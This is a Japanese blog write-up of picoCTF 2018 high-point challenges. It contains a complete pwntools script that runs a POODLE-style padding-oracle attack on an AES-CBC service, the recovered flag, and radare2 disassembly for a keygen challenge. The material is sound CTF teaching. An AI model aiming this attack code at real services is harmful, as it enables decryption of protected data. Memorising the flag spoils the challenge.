好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 700pt~問題のwrite-up

picoCTF 2018 の write-up 700点~問題編。

picoCTF2018、いよいよ最終回です…!

今回は最終回の高得点帯問題なのもあり、10問中4問がPwn(Binary)問題。Pwn初心者には辛い戦いでしたが、他の方のサイトやwriteupもガンガン見つつ、なんとか次の年のCTFが始まる直前に完走です。

機械学習分野での脆弱性&それに対する攻撃手法みたいな話が出てきたり、SAT/SMT(充足可能性問題)というのも初めて触れられて、最後まで学びの多いCTFでした。CTFを通して色んな分野がかじれて良き。

残念ながら3問ほどflagを投げられずに終わっています。いずれもPaizza(問題報告板)に報告がありますが、2019/9/11段階では復旧していないようです。うちWeb2問については繋がらないことには何もできないので他の方のwriteupでも眺めようと思います。

f:id:kusuwada:20190911203701p:plain:w400

Scoreの推移も、ちまちまやっていった様子がにじみ出ていて感慨深い。ほとんど進捗がないあたりはちょうど出産〜産褥期あたりでしょうか。今年の2月からやり始めたっぽいので、8ヶ月かかりましたが楽しませていただきました。最後の方に急激に点が伸びているのは、高得点問題に着手したからですかね。

f:id:kusuwada:20190911203705p:plain

writeupも沢山あるし、私も人のwriteup参考にさせてもらったので、もはや順位もクソもないのですが記念に。51,561チーム中27位。5万チームも参加している事自体が凄い!

650点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

[Crypto] James Brahm Returns (700pt)

Dr. Xernon has finally approved an update to James Brahm's spy terminal. (Someone finally told them that ECB isn't secure.) Fortunately, CBC mode is safe! Right? Connect with nc 2018shell.picoctf.com 14263. Source.

Hints

What killed SSL3?

ECBがだめらしいからCBCにしたよ!CBCならセキュアでしょ!ということでCBC関連らしい。Dr. Xernonシリーズ、間が空きすぎて忘れているので思い出す。

あれ、色んな分野に登場してた!picoCTFのgameと関係ある登場人物なんだっけ。ゲーム殆どやってないなぁ。シリーズ的には James Brahm のほうが合ってそうなので、そっちの過去問をチェック。

これはAES-ECBに対する攻撃の問題でした。

今回もソースコードが与えられています。

#!/usr/bin/python2 -u
from Crypto.Cipher import AES
import reuse
import random
from string import digits
import hashlib

agent_code = """flag"""
key = """key"""


def pad(message):
    if len(message) % 16 == 0:
        message = message + chr(16)*16
    elif len(message) % 16 != 0:
        message = message + chr(16 - len(message)%16)*(16 - len(message)%16)
    return message

def encrypt(key, plain, IV):
    cipher = AES.new( key.decode('hex'), AES.MODE_CBC, IV.decode('hex') )
    return IV + cipher.encrypt(plain).encode('hex')

def decrypt(key, ciphertext, iv):
    cipher = AES.new(key.decode('hex'), AES.MODE_CBC, iv.decode('hex'))
    return cipher.decrypt(ciphertext.decode('hex')).encode('hex')

def verify_mac(message):
    h = hashlib.sha1()    
    mac = message[-40:].decode('hex')
    message = message[:-40].decode('hex')
    h.update(message)
    if h.digest() == mac:
        return True
    return False
    
def check_padding(message):
    check_char = ord(message[-2:].decode('hex'))
    if (check_char < 17) and (check_char > 0): #bud
        return message[:-check_char*2]
    else:
        return False

welcome = "Welcome, Agent 006!"
print welcome
options = """Select an option:
Encrypt message (E)
Send & verify (S)
"""
while True:
    encrypt_or_send = raw_input(options)
    if "e" in encrypt_or_send.lower():
        
        sitrep = raw_input("Please enter your situation report: ")
        message = """Agent,
Greetings. My situation report is as follows:
{0}
My agent identifying code is: {1}.
Down with the Soviets,
006
""".format( sitrep, agent_code )
        PS = raw_input("Anything else? ")
        h = hashlib.sha1()
        message = message+PS
        h.update(message)
        message = pad(message+ h.digest())

        IV = ''.join(random.choice(digits + 'abcdef') for _ in range(32))
        print "encrypted: {}".format(encrypt(key, message, IV ))
    elif "s" in encrypt_or_send.lower():
        sitrep = raw_input("Please input the encrypted message: ")
        iv = sitrep[:32]
        c = sitrep[32:]
        if reuse.check(iv):
            message = decrypt(key, c, iv)
            message = check_padding(message)
            if message:
                if verify_mac(message):
                    print("Successful decryption.")
                else:
                    print("Ooops! Did not decrypt successfully. Please send again.")
            else:
                print("Ooops! Did not decrypt successfully. Please send again.")
        else:
            print("Cannot reuse IVs!")

agent_codeflagのようです。[Crypto] SpyFi (300pt)に、文面は似ている感じですが、modeがCBCなのでこのとき(ECB)の解法は使えなさそう。

与えられたホストに接続してみます。

$ nc 2018shell.picoctf.com 14263
Welcome, Agent 006!

Select an option:
Encrypt message (E)
Send & verify (S)
> E
Please enter your situation report: testestes
Anything else? n
encrypted: 85a5194100fb18f3fe964df2a8c59d741278952b248dbe0a8d99fd9c4da217c008b618268cc5070df1c40c6f3a3b21fbd1a5ec557013fdaf1ce74354ea236e7eec305fb3a3d0f7e7a5773de3853a2a14138381c7e7eb0d22abc32b823c03a7415089a417a965fdc8a3fb21bf6f6eed4c6c87f483b35dc49eb5c6f8ce8fd5835a5daf9f51437f32948d70a85ed9683501e60d1a0ac558d8445510f95bbb555cb1e4bf682e2cc80b7df1e7139e73dd7fb7435ea2906f4cdc46e5af8b92fd369807

Select an option:
Encrypt message (E)
Send & verify (S)
> S
Please input the encrypted message: 85a5194100fb18f3fe964df2a8c59d741278952b248dbe0a8d99fd9c4da217c008b618268cc5070df1c40c6f3a3b21fbd1a5ec557013fdaf1ce74354ea236e7eec305fb3a3d0f7e7a5773de3853a2a14138381c7e7eb0d22abc32b823c03a7415089a417a965fdc8a3fb21bf6f6eed4c6c87f483b35dc49eb5c6f8ce8fd5835a5daf9f51437f32948d70a85ed9683501e60d1a0ac558d8445510f95bbb555cb1e4bf682e2cc80b7df1e7139e73dd7fb7435ea2906f4cdc46e5af8b92fd369807
Successful decryption.

Select an option:
Encrypt message (E)
Send & verify (S)
...

※みやすさのため、一部変更しています。対話式で

  • E: Encrypt message
  • S: Send & verify

を選択し、Eなら入力した"近況"にテンプレート文を付け加えて暗号化、表示してくれます。Sは暗号文を入れると復号してくれますが、復号後の平文は表示してくれません。
ちなみに Send & verify に失敗すると、decode失敗、mac検証失敗時はエラー "Ooops! Did not decrypt successfully. Please send again." が表示され、それ以前のチェックで不適合の場合はstacktrace吐いて接続が切れます。

さて、CBCモードの際の攻撃といえばPadding Oracle Attackがまっ先に出てきます。CBCモード/Padding Oracle Attack に関する問題は過去にも出ていました。[Crypto] Magic Padding Oracle (450pt)

ここで今一度Hintをよく見てみましょう。

What killed SSL3?

知ってる!!!知 っ て る !!!!!!!
むしろ上記の問題といたときに、padding oracle attackについて調べたら出てきて、わざわざwriteupに書いたやつ!POODLE!プードル!

この Padding Oracle Attack, 調べてみると、なんと2014年のPOODLEの脆弱性にも関連してたんですねー!!!知らなかった! POODLEとは「Padding Oracle On Downgraded Legacy Encryption」の頭文字を取ったもので、SSLのバージョン3.0に存在する脆弱性(CVE-2014-3566)のことを指します。 当時はセキュリティ何もわからん民だったけど「あなたのシステムに影響ありますか?調査してください」ってHeartbleedと合わせて投げられて、もう泣きそうだった記憶が。自分が興味を持ってセキュリティ始めるきっかけだった…のかもしれない。

そうそう、可愛い名前のくせに!と同僚と笑い(泣き)あってたほろ苦い思い出。

ということで、路線としては Padding Oracle Attack でよさそう。Padding Oracle Attackの条件は、

  • AES-CBC mode
  • 暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す

です。今回、2つ目の条件に関しては、パディングが間違っている場合と復号に失敗した場合のエラーメッセージが同じため、残念ながら Magic Padding Olacle のときのように一筋縄では行かないようです…。しかも、ivがランダム化されています。困った。

source.py をもう一度よく見てみます。すると、check_padding 関数の中、L38に # bud というコメントが。budって何?と思って調べてみると、どうやら "未熟" という意味があるようです。どうやらこのチェックが怪しそうです。

さらに、POODLEについて興味が湧いたので再度調べてみます。とてもわかり易くSSL脆弱性を時系列で解説している日本語のサイトを発見。タイトルも今回のヒントそのものです。※ POODLE以前の話もめちゃわかりやすい上に面白かったので全部一気に読んでしまった。後追いでゆっくり解くのはこういうのが自分の中でHOTな時にじっくり読めて良い。

SSL3.0 徹底解剖!!! 〜 なぜ POODLE に殺されたのか 〜 - もろず blog

これによると

SSL3.0 の仕様ではパディング長がブロック長の範囲内かというチェックしかせず、残りのパディングの部分にどんな値が入っているかをチェックしていません なので、末尾の値さえ正しければ正当なパディングがセットされていると判断してしまいます POODLE はこれを利用しています

とのこと。これを踏まえてさっきの check_padding 関数を見てみると、確かにmessageの末尾、すなわちpaddingの末尾しか確認していません。行けそうです。

まず、最後のブロックがパディングだけで埋まるように長さを調整したリクエストを用意します

前回と同じように、攻撃リクエストの全体を可視化してみます。

SHA1は20byteなので、一番最後から逆算すると #-1, #-2, #-3の最後4byteが決まります。また、sourceにあったテンプレート文より、 #1, #2, #3, #4の message までがわかります。

#1 : Agent,\nGreetings
#2 : . My situation r
#3 : eport is as foll
#4 : ows:\n{message * ?}

\nMy agent identi
fying code is: {flag * ?}.
\nDown with the Soviets,
\n006\n{ps * ?}

#-3: {ps * ?}{hash * 4}
#-2: {hash * 16}
#-1: {padding * 16}

次に、flagの長さが知りたくなります。ここではちょっと地道ですが、messageの長さを変えていってブロック数が変化する様子を観察します。(Anything alse? のinput: psは空)。ちなみにflagは picoCTF{***} と思われるので、最低10文字はあるものと予測します。簡単ですが、以下スクリプト

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "2018shell.picoctf.com"
port = 14263

def get_block_num(data):
    r.recvuntil("Send & verify (S)")
    r.sendline("E")
    r.recvuntil("Please enter your situation report: ")
    r.sendline(data)
    r.recvuntil("Anything else? ")
    r.sendline('')
    res = r.recv()
    print(str(len(data)) + ': ' + str(len(res)))
    return res

r = remote(host, port)
message = ''
for i in range(16):
    res = get_block_num(message)
    message += 'a'

実行結果

len(message): len(encrypted)
0: 395
1: 395
2: 395
3: 395
4: 395
5: 395
6: 395
7: 395
8: 395
9: 395
10: 395
11: 395
12: 395
13: 395
14: 427
15: 427

0~15で試したところ、messageの長さが 14 の時にblock数が増えています。ということは、

#1 : Agent,\nGreetings
#2 : . My situation r
#3 : eport is as foll
#4 : ows:\n{message * 11}
#5 : {message * 3}\nMy agent ide
#6 : ntifying code is
#7 : : {flag * 13}.
#8 : \nDown with the S
#9 : oviets,\n006\n{hash * 4}
#10: {hash * 16}
#11: {padding * 16}

これがflagの最短長(13)となりそうです。が、picoCTFのflag形式は、最後にユーザーごとのハッシュっぽいのがつくので、実際はもう1ブロック長い 13 + 16 = 29 かそれ以上になりそう。

更に、SpiFy問のときと同じように、flagの最初の1バイトがブロックの最後になるように message と ps の文字数を調節するとこんな感じ。

#1 : Agent,\nGreetings
#2 : . My situation r
#3 : eport is as foll
#4 : ows:\n{message * 11}
#5 : \nMy agent identi
#6 : fying code is: {flag * 1}
#7 : {flag * 16}
#8 : {flag * 12}.\nDo
#9 : wn with the Sovi
#10: ets,\n006\n{ps * 3}{hash * 4}
#11: {hash * 16}
#12: {padding * 16}

SpyFiと同じように message の長さをずらしながらpadチェックが成功するかを探っていくのですが、今回は最後のブロックが常にpaddingだけになるようにしないといけません。ここは、messageとpsで調節できそうです。このために今回 Anything alse? が追加されてるっぽいですね。面白い。

flagが29文字分まで耐えられるように、message, psの長さ(初期値)を調節します。

#1 : Agent,\nGreetings
#2 : . My situation r
#3 : eport is as foll
#4 : ows:\n{message * 11}
#5 : {message * 16}
#6 : {message * 16}
#7 : {message * 16}
#8 : \nMy agent identi
#9 : fying code is: {flag * 1}
#10: {flag * 16}
#11: {flag * 12}.\nDo
#12: wn with the Sovi
#13: ets,\n006\n{ps * 3}{hash * 4}
#14: {hash * 16}
#15: {padding * 16}

これで初回の攻撃が完成です。messageは 11 + 16*3 の長さからstart, ps は 3 の長さからstartです。

どうやら接続時間に制限があるようで、一度の接続でやりきろうと思ったら一文字判明するかしないかくらいのタイミングで毎回接続が切れてしまうので、毎回新しく接続するようにしました。もともと数撃ちゃ当たる作戦なので、多少時間がかかるかもしれませんが大勢に影響はないはず。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "2018shell.picoctf.com"
port = 14263

block_size = 32
target_block = 9
context.log_level = 'ERROR'

def get_encrypted(r, message, ps):
    r.recvuntil("Send & verify (S)")
    r.sendline("E")
    r.recvuntil("Please enter your situation report: ")
    r.sendline(message)
    r.recvuntil("Anything else? ")
    r.sendline(ps)
    res = r.recv()
    return res.split(b': ')[1]

def is_valid_padding(r, data):
    r.recvuntil("Select an option:")
    r.sendline("S")
    r.recvuntil("Please input the encrypted message:")
    r.sendline(data)
    r.recv()
    res = r.recv()
    if b"Successful decryption." in res:
        return True
    elif b"Ooops!" in res:
        return False
    else:
        raise("Miss to decrypt.")

flag = []
total_len = 14 + 16*3
m_len = total_len - 3
while not b'}' in flag:
    while True:
        r = remote(host, port)
        message = b'm' * m_len
        ps = b'p' * (total_len - m_len)
        encrypted = get_encrypted(r, message, ps)
        # 最後のブロックを、9ブロック目で置き換え
        attack_msg = encrypted[:-block_size] + \
                     encrypted[block_size*target_block: block_size*(target_block+1)]
        res = is_valid_padding(r, attack_msg)
        if res: # 対象行の最後のバイトをXOR
            prev = int(encrypted[-block_size-2: -block_size], 16)
            target = int(encrypted[block_size*target_block-2: block_size*target_block], 16)
            flag.append(bytes([prev^target^16]))
            print(b''.join(flag))
            break
        else:
            print("*", end="")
        r.close()
    m_len -= 1

実行結果

$ python solve.py 
***********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'p'
******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'pi'
**************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'pic'
************************************************************************************************************************b'pico'
******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoC'
**********************************************************************************************b'picoCT'
********************************************************************************************b'picoCTF'
*********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{'
***************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g'
**************************************************************************************************b'picoCTF{g0'
***************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_'
***********************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@'
****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g'
*******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3'
***********************************************b'picoCTF{g0_@g3n'
b'picoCTF{g0_@g3nt'
*********************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt0'
*************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt00'
*********************************************************************************************************b'picoCTF{g0_@g3nt006'
**********************************************b'picoCTF{g0_@g3nt006!'
*************************************************************************************************b'picoCTF{g0_@g3nt006!_'
**********************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1'
***********************b'picoCTF{g0_@g3nt006!_18'
b'picoCTF{g0_@g3nt006!_184'
**********************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840'
*****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_18405'
**************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_184052'
***********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840527'
*****************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840527}'

でたよー!!!全部出るのに7時間くらいかかった。もうちょっと効率のいいやり方があるのかな?picoCTF{までは既知として、その後から探索するのでも良かったかも。でも攻撃方法・スクリプトが正しいか確認するためにpiが出てくるくらいまでは動かしたいよね。

実際何回思考したのか計算してみると、一文字確定あたり304回。全部で8217回でした。

[Reversing] keygen-me-2 (750pt)

The software has been updated. Can you find us a new product key for the program in /problems/keygen-me-2_4_3cb8c5fbaa87ce402753132dd68f9003

Hints

z3

まずは keygen-me-1 を思い出します。あ、これめちゃ時間かかったやつだ...orz

まずは実行してみます。

$ ./activate 
Usage: ./activate <PRODUCT_KEY>
$ ./activate test
Please Provide a VALID 16 byte Product Key.

Product Key は 16byte だそうです。radare2で見てみます。

# r2 ./activate 
[0x08048500]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x08048500]> s main
[0x08048dfc]> pdf
/ (fcn) main 195
|   main (int argc, char **argv, char **envp);
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_4h @ esp+0x4
|           ; DATA XREF from entry0 (0x8048517)
|           0x08048dfc      8d4c2404       lea ecx, dword [arg_4h]     ; 4
|           0x08048e00      83e4f0         and esp, 0xfffffff0
|           0x08048e03      ff71fc         push dword [ecx - 4]
|           0x08048e06      55             push ebp
|           0x08048e07      89e5           mov ebp, esp
|           0x08048e09      53             push ebx
|           0x08048e0a      51             push ecx
|           0x08048e0b      89cb           mov ebx, ecx
|           0x08048e0d      a13cb00408     mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804b03c:4]=0
|           0x08048e12      6a00           push 0
|           0x08048e14      6a02           push 2                      ; 2
|           0x08048e16      6a00           push 0
|           0x08048e18      50             push eax
|           0x08048e19      e8b2f6ffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048e1e      83c410         add esp, 0x10
|           0x08048e21      833b01         cmp dword [ebx], 1
|       ,=< 0x08048e24      7f17           jg 0x8048e3d
|       |   0x08048e26      83ec0c         sub esp, 0xc
|       |   0x08048e29      68808f0408     push str.Usage:_._activate__PRODUCT_KEY ; 0x8048f80 ; "Usage: ./activate <PRODUCT_KEY>"
|       |   0x08048e2e      e85df6ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048e33      83c410         add esp, 0x10
|       |   0x08048e36      b8ffffffff     mov eax, 0xffffffff         ; -1
|      ,==< 0x08048e3b      eb78           jmp 0x8048eb5
|      ||   ; CODE XREF from main (0x8048e24)
|      |`-> 0x08048e3d      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
|      |    0x08048e40      83c004         add eax, 4
|      |    0x08048e43      8b00           mov eax, dword [eax]
|      |    0x08048e45      83ec0c         sub esp, 0xc
|      |    0x08048e48      50             push eax
|      |    0x08048e49      e8bcf8ffff     call sym.check_valid_key
|      |    0x08048e4e      83c410         add esp, 0x10
|      |    0x08048e51      84c0           test al, al
|      |,=< 0x08048e53      7517           jne 0x8048e6c
|      ||   0x08048e55      83ec0c         sub esp, 0xc
|      ||   0x08048e58      68a08f0408     push str.Please_Provide_a_VALID_16_byte_Product_Key. ; 0x8048fa0 ; "Please Provide a VALID 16 byte Product Key."
|      ||   0x08048e5d      e82ef6ffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x08048e62      83c410         add esp, 0x10
|      ||   0x08048e65      b8ffffffff     mov eax, 0xffffffff         ; -1
|     ,===< 0x08048e6a      eb49           jmp 0x8048eb5
|     |||   ; CODE XREF from main (0x8048e53)
|     ||`-> 0x08048e6c      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
|     ||    0x08048e6f      83c004         add eax, 4
|     ||    0x08048e72      8b00           mov eax, dword [eax]
|     ||    0x08048e74      83ec0c         sub esp, 0xc
|     ||    0x08048e77      50             push eax
|     ||    0x08048e78      e83afeffff     call sym.validate_key
|     ||    0x08048e7d      83c410         add esp, 0x10
|     ||    0x08048e80      84c0           test al, al
|     ||,=< 0x08048e82      7517           jne 0x8048e9b
|     |||   0x08048e84      83ec0c         sub esp, 0xc
|     |||   0x08048e87      68cc8f0408     push str.INVALID_Product_Key. ; 0x8048fcc ; "INVALID Product Key."
|     |||   0x08048e8c      e8fff5ffff     call sym.imp.puts           ; int puts(const char *s)
|     |||   0x08048e91      83c410         add esp, 0x10
|     |||   0x08048e94      b8ffffffff     mov eax, 0xffffffff         ; -1
|    ,====< 0x08048e99      eb1a           jmp 0x8048eb5
|    ||||   ; CODE XREF from main (0x8048e82)
|    |||`-> 0x08048e9b      83ec0c         sub esp, 0xc
|    |||    0x08048e9e      68e48f0408     push str.Product_Activated_Successfully: ; 0x8048fe4 ; "Product Activated Successfully: "
|    |||    0x08048ea3      e8a8f5ffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x08048ea8      83c410         add esp, 0x10
|    |||    0x08048eab      e84bf7ffff     call sym.print_flag
|    |||    0x08048eb0      b800000000     mov eax, 0
|    |||    ; CODE XREFS from main (0x8048e3b, 0x8048e6a, 0x8048e99)
|    ```--> 0x08048eb5      8d65f8         lea esp, dword [local_8h]
|           0x08048eb8      59             pop ecx
|           0x08048eb9      5b             pop ebx
|           0x08048eba      5d             pop ebp
|           0x08048ebb      8d61fc         lea esp, dword [ecx - 4]

keyの判定ロジックは check_valid_key 関数と validate_key にありそうです。これをクリアすればflagを出してくれそう。validate_key関数を確認してみます。

[0x0804870a]> s sym.validate_key
[0x08048cb7]> pdf
/ (fcn) sym.validate_key 325
|   sym.validate_key (int arg_8h);
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from main (0x8048e78)
|           0x08048cb7      55             push ebp
|           0x08048cb8      89e5           mov ebp, esp
|           0x08048cba      83ec18         sub esp, 0x18
|           0x08048cbd      83ec0c         sub esp, 0xc
|           0x08048cc0      ff7508         push dword [arg_8h]
|           0x08048cc3      e8e8f7ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x08048cc8      83c410         add esp, 0x10
|           0x08048ccb      8945f4         mov dword [local_ch], eax
|           0x08048cce      8b45f4         mov eax, dword [local_ch]
|           0x08048cd1      83ec08         sub esp, 8
|           0x08048cd4      50             push eax
|           0x08048cd5      ff7508         push dword [arg_8h]
|           0x08048cd8      e8b9faffff     call sym.key_constraint_01
|           0x08048cdd      83c410         add esp, 0x10
|           0x08048ce0      84c0           test al, al
|       ,=< 0x08048ce2      0f840d010000   je 0x8048df5
|       |   0x08048ce8      8b45f4         mov eax, dword [local_ch]
|       |   0x08048ceb      83ec08         sub esp, 8
|       |   0x08048cee      50             push eax
|       |   0x08048cef      ff7508         push dword [arg_8h]
|       |   0x08048cf2      e8f4faffff     call sym.key_constraint_02
|       |   0x08048cf7      83c410         add esp, 0x10
|       |   0x08048cfa      84c0           test al, al
|      ,==< 0x08048cfc      0f84f3000000   je 0x8048df5
|      ||   0x08048d02      8b45f4         mov eax, dword [local_ch]
|      ||   0x08048d05      83ec08         sub esp, 8
|      ||   0x08048d08      50             push eax
|      ||   0x08048d09      ff7508         push dword [arg_8h]
|      ||   0x08048d0c      e832fbffff     call sym.key_constraint_03
|      ||   0x08048d11      83c410         add esp, 0x10
|      ||   0x08048d14      84c0           test al, al
|     ,===< 0x08048d16      0f84d9000000   je 0x8048df5
|     |||   0x08048d1c      8b45f4         mov eax, dword [local_ch]
|     |||   0x08048d1f      83ec08         sub esp, 8
|     |||   0x08048d22      50             push eax
|     |||   0x08048d23      ff7508         push dword [arg_8h]
|     |||   0x08048d26      e86ffbffff     call sym.key_constraint_04
|     |||   0x08048d2b      83c410         add esp, 0x10
|     |||   0x08048d2e      84c0           test al, al
|    ,====< 0x08048d30      0f84bf000000   je 0x8048df5
|    ||||   0x08048d36      8b45f4         mov eax, dword [local_ch]
|    ||||   0x08048d39      83ec08         sub esp, 8
|    ||||   0x08048d3c      50             push eax
|    ||||   0x08048d3d      ff7508         push dword [arg_8h]
|    ||||   0x08048d40      e8cafbffff     call sym.key_constraint_05
|    ||||   0x08048d45      83c410         add esp, 0x10
|    ||||   0x08048d48      84c0           test al, al
|   ,=====< 0x08048d4a      0f84a5000000   je 0x8048df5
|   |||||   0x08048d50      8b45f4         mov eax, dword [local_ch]
|   |||||   0x08048d53      83ec08         sub esp, 8
|   |||||   0x08048d56      50             push eax
|   |||||   0x08048d57      ff7508         push dword [arg_8h]
|   |||||   0x08048d5a      e825fcffff     call sym.key_constraint_06
|   |||||   0x08048d5f      83c410         add esp, 0x10
|   |||||   0x08048d62      84c0           test al, al
|  ,======< 0x08048d64      0f848b000000   je 0x8048df5
|  ||||||   0x08048d6a      8b45f4         mov eax, dword [local_ch]
|  ||||||   0x08048d6d      83ec08         sub esp, 8
|  ||||||   0x08048d70      50             push eax
|  ||||||   0x08048d71      ff7508         push dword [arg_8h]
|  ||||||   0x08048d74      e880fcffff     call sym.key_constraint_07
|  ||||||   0x08048d79      83c410         add esp, 0x10
|  ||||||   0x08048d7c      84c0           test al, al
| ,=======< 0x08048d7e      7475           je 0x8048df5
| |||||||   0x08048d80      8b45f4         mov eax, dword [local_ch]
| |||||||   0x08048d83      83ec08         sub esp, 8
| |||||||   0x08048d86      50             push eax
| |||||||   0x08048d87      ff7508         push dword [arg_8h]
| |||||||   0x08048d8a      e8dffcffff     call sym.key_constraint_08
| |||||||   0x08048d8f      83c410         add esp, 0x10
| |||||||   0x08048d92      84c0           test al, al
| ========< 0x08048d94      745f           je 0x8048df5
| |||||||   0x08048d96      8b45f4         mov eax, dword [local_ch]
| |||||||   0x08048d99      83ec08         sub esp, 8
| |||||||   0x08048d9c      50             push eax
| |||||||   0x08048d9d      ff7508         push dword [arg_8h]
| |||||||   0x08048da0      e83efdffff     call sym.key_constraint_09
| |||||||   0x08048da5      83c410         add esp, 0x10
| |||||||   0x08048da8      84c0           test al, al
| ========< 0x08048daa      7449           je 0x8048df5
| |||||||   0x08048dac      8b45f4         mov eax, dword [local_ch]
| |||||||   0x08048daf      83ec08         sub esp, 8
| |||||||   0x08048db2      50             push eax
| |||||||   0x08048db3      ff7508         push dword [arg_8h]
| |||||||   0x08048db6      e89dfdffff     call sym.key_constraint_10
| |||||||   0x08048dbb      83c410         add esp, 0x10
| |||||||   0x08048dbe      84c0           test al, al
| ========< 0x08048dc0      7433           je 0x8048df5
| |||||||   0x08048dc2      8b45f4         mov eax, dword [local_ch]
| |||||||   0x08048dc5      83ec08         sub esp, 8
| |||||||   0x08048dc8      50             push eax
| |||||||   0x08048dc9      ff7508         push dword [arg_8h]
| |||||||   0x08048dcc      e8fcfdffff     call sym.key_constraint_11
| |||||||   0x08048dd1      83c410         add esp, 0x10
| |||||||   0x08048dd4      84c0           test al, al
| ========< 0x08048dd6      741d           je 0x8048df5
| |||||||   0x08048dd8      8b45f4         mov eax, dword [local_ch]
| |||||||   0x08048ddb      83ec08         sub esp, 8
| |||||||   0x08048dde      50             push eax
| |||||||   0x08048ddf      ff7508         push dword [arg_8h]
| |||||||   0x08048de2      e85bfeffff     call sym.key_constraint_12
| |||||||   0x08048de7      83c410         add esp, 0x10
| |||||||   0x08048dea      84c0           test al, al
| ========< 0x08048dec      7407           je 0x8048df5
| |||||||   0x08048dee      b801000000     mov eax, 1
| ========< 0x08048df3      eb05           jmp 0x8048dfa
| |||||||   ; XREFS: CODE 0x08048ce2  CODE 0x08048d16  CODE 0x08048d30  CODE 0x08048d4a  
| |||||||   ; XREFS: CODE 0x08048d64  CODE 0x08048d7e  CODE 0x08048d94  CODE 0x08048daa  
| |||||||   ; XREFS: CODE 0x08048dc0  CODE 0x08048dd6  CODE 0x08048dec  
| ```````-> 0x08048df5      b800000000     mov eax, 0
|           ; CODE XREF from sym.validate_key (0x8048df3)
| --------> 0x08048dfa      c9             leave
\           0x08048dfb      c3             ret

長いな!そして処理関数が key_constraint_01 ~ key_constraint_12 まである…!全部確認するのか…!一つ例を見てみます。

[0x08048500]> s sym.key_constraint_01
[0x08048796]> pdf
/ (fcn) sym.key_constraint_01 85
|   sym.key_constraint_01 (int arg_8h);
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from sym.validate_key (0x8048cd8)
|           0x08048796      55             push ebp
|           0x08048797      89e5           mov ebp, esp
|           0x08048799      53             push ebx
|           0x0804879a      83ec04         sub esp, 4
|           0x0804879d      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x080487a0      0fb600         movzx eax, byte [eax]
|           0x080487a3      0fbec0         movsx eax, al
|           0x080487a6      83ec0c         sub esp, 0xc
|           0x080487a9      50             push eax
|           0x080487aa      e809ffffff     call sym.ord
|           0x080487af      83c410         add esp, 0x10
|           0x080487b2      0fbed8         movsx ebx, al
|           0x080487b5      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x080487b8      83c001         add eax, 1
|           0x080487bb      0fb600         movzx eax, byte [eax]
|           0x080487be      0fbec0         movsx eax, al
|           0x080487c1      83ec0c         sub esp, 0xc
|           0x080487c4      50             push eax
|           0x080487c5      e8eefeffff     call sym.ord
|           0x080487ca      83c410         add esp, 0x10
|           0x080487cd      0fbec0         movsx eax, al
|           0x080487d0      01d8           add eax, ebx
|           0x080487d2      83ec08         sub esp, 8
|           0x080487d5      6a24           push 0x24                   ; '$' ; 36
|           0x080487d7      50             push eax
|           0x080487d8      e894ffffff     call sym.mod
|           0x080487dd      83c410         add esp, 0x10
|           0x080487e0      83f80e         cmp eax, 0xe                ; 14
|           0x080487e3      0f94c0         sete al
|           0x080487e6      8b5dfc         mov ebx, dword [local_4h]
|           0x080487e9      c9             leave
\           0x080487ea      c3             ret

なんとか読めそうです。

ところで、ヒントの z3 とは何でしょう。z3でググってみても車とか出てきて?だったので、ずばりz3 ctfとかでググってみた。

